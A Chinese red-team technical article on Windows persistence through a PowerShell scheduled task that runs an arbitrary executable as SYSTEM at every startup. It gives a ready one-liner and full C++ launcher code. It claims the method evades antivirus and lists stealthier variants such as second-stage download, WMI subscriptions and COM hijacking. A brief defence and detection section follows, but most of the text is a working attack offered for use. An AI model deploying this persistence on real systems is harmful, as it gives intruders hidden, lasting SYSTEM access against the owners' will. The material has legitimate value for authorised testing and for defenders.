红队权限维持策略——实用版(r3-r0)
字数 1761 2025-08-22 12:23:06
红队权限维持策略——实用版技术文档
0. 前言
本文档详细讲解一种基于PowerShell计划任务的红队权限维持技术,该技术能够绕过常见杀毒软件检测,实现权限提升和持久化。文档包含原理分析、核心命令详解、代码实现及完整示例。
免责声明:本技术仅用于合法安全测试和研究,禁止用于非法用途,使用者需自行承担法律责任。
1. 技术原理
1.1 核心思路
通过PowerShell注册系统计划任务,配置为系统启动时自动执行,利用Windows API创建和管理进程,实现权限维持。
1.2 技术优势
- 绕过常见杀毒软件检测
- 可实现权限提升(SYSTEM权限)
- 持久化效果良好(系统启动触发)
- 操作隐蔽性较高
2. 核心组件详解
2.1 Register-ScheduledTask命令
2.1.1 功能概述
Register-ScheduledTask是PowerShell提供的Cmdlet,用于注册或更新计划任务,可配置任务操作、触发条件等参数。
2.1.2 完整语法
Register-ScheduledTask
[-TaskName] <String>
[-Action] <ScheduledTaskAction[]>
[[-Trigger] <ScheduledTaskTrigger[]>]
[[-Description] <String>]
[-User <String>]
[-RunLevel <RunLevelType>]
[-Force]
[-CimSession <CimSession[]>]
[-AsJob]
[-TaskPath <String>]
[-InputObject <CimInstance>]
[<CommonParameters>]
2.1.3 关键参数详解
| 参数 | 作用 | 示例值 | 说明 |
|---|---|---|---|
| -TaskName | 指定任务名称 | "BackupTask" | 必须唯一 |
| -Action | 定义任务执行的操作 | (New-ScheduledTaskAction -Execute "C:\Path\MyScript.exe") |
可执行程序或脚本 |
| -Trigger | 定义触发条件 | (New-ScheduledTaskTrigger -AtStartup) |
系统启动时触发 |
| -User | 指定运行账户 | "SYSTEM" | 系统权限运行 |
| -RunLevel | 设置权限级别 | "Highest" | 管理员权限 |
| -Description | 任务描述 | "系统备份任务" | 可选 |
| -Force | 强制覆盖 | - | 覆盖同名任务 |
| -TaskPath | 任务存储路径 | "\CustomTasks" | 分类管理 |
2.2 辅助命令
2.2.1 New-ScheduledTaskAction
创建任务操作:
New-ScheduledTaskAction -Execute "C:\Path\Program.exe" [-Argument "参数"]
2.2.2 New-ScheduledTaskTrigger
创建触发器:
New-ScheduledTaskTrigger -AtStartup # 系统启动时
New-ScheduledTaskTrigger -Daily -At 8am # 每天8点
2.2.3 Start-ScheduledTask
立即启动任务:
Start-ScheduledTask -TaskName "MyTask"
3. 完整实现方案
3.1 PowerShell单行命令
powershell.exe -Command "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'D:\temp\1.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -TaskName 'MyTask' -User 'SYSTEM' -RunLevel Highest -Force; Start-ScheduledTask -TaskName 'MyTask';"
3.2 C++程序实现
3.2.1 完整代码
#include <iostream>
#include <windows.h>
#include <string>
int main() {
// 构造PowerShell命令
std::wstring command = L"powershell.exe -Command \""
L"Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'D:\\temp\\1.exe') "
L"-Trigger (New-ScheduledTaskTrigger -AtStartup) "
L"-TaskName 'MyTask' -User 'SYSTEM' -RunLevel Highest -Force; "
L"Start-ScheduledTask -TaskName 'MyTask'; "
L"\"";
// 准备进程启动信息
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
// 创建PowerShell进程
if (CreateProcess(
NULL,
const_cast<wchar_t*>(command.c_str()),
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi)) {
// 等待进程执行完成
WaitForSingleObject(pi.hProcess, INFINITE);
// 释放资源
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
std::wcout << L"任务已创建并开始执行。" << std::endl;
} else {
std::wcerr << L"创建进程失败,错误代码: " << GetLastError() << std::endl;
}
// 防止控制台立即关闭
std::wcout << L"按任意键继续..." << std::endl;
std::wcin.get();
return 0;
}
3.2.2 关键代码解析
-
命令构造:
- 使用
std::wstring构造PowerShell命令 - 包含任务注册和立即启动两部分
- 使用
-
进程创建:
- 使用
CreateProcessAPI创建PowerShell进程 - 参数说明:
NULL: 使用默认应用程序名command.c_str(): 要执行的命令- 其他参数保持默认
- 使用
-
进程管理:
WaitForSingleObject: 等待进程执行完成CloseHandle: 释放进程和线程句柄
4. 防御与检测
4.1 防御措施
- 限制PowerShell执行权限
- 监控计划任务创建行为
- 审计SYSTEM权限任务
- 启用高级威胁检测
4.2 检测指标
- 可疑的计划任务名称
- 系统启动触发器
- SYSTEM权限运行的任务
- 短时间内任务创建和执行
5. 扩展应用
5.1 变体技术
- 隐藏路径:使用非常规任务路径
- 延迟触发:设置定时触发而非立即执行
- 多级触发:通过第一阶段任务下载执行第二阶段
5.2 组合技术
- 结合WMI事件订阅实现更隐蔽的持久化
- 与注册表Run键结合实现多重持久化
- 通过COM劫持实现无文件持久化
6. 注意事项
- 路径问题:确保目标程序路径存在且可执行
- 权限问题:执行程序需要足够的权限
- 杀软规避:可能需要额外混淆处理
- 环境适配:不同Windows版本可能有差异
7. 总结
本文详细介绍了基于计划任务的红队权限维持技术,从原理到实现提供了完整的技术路径。该技术具有较好的隐蔽性和持久性,但也存在相应的检测特征。安全研究人员应了解此类技术以更好地防御相关攻击。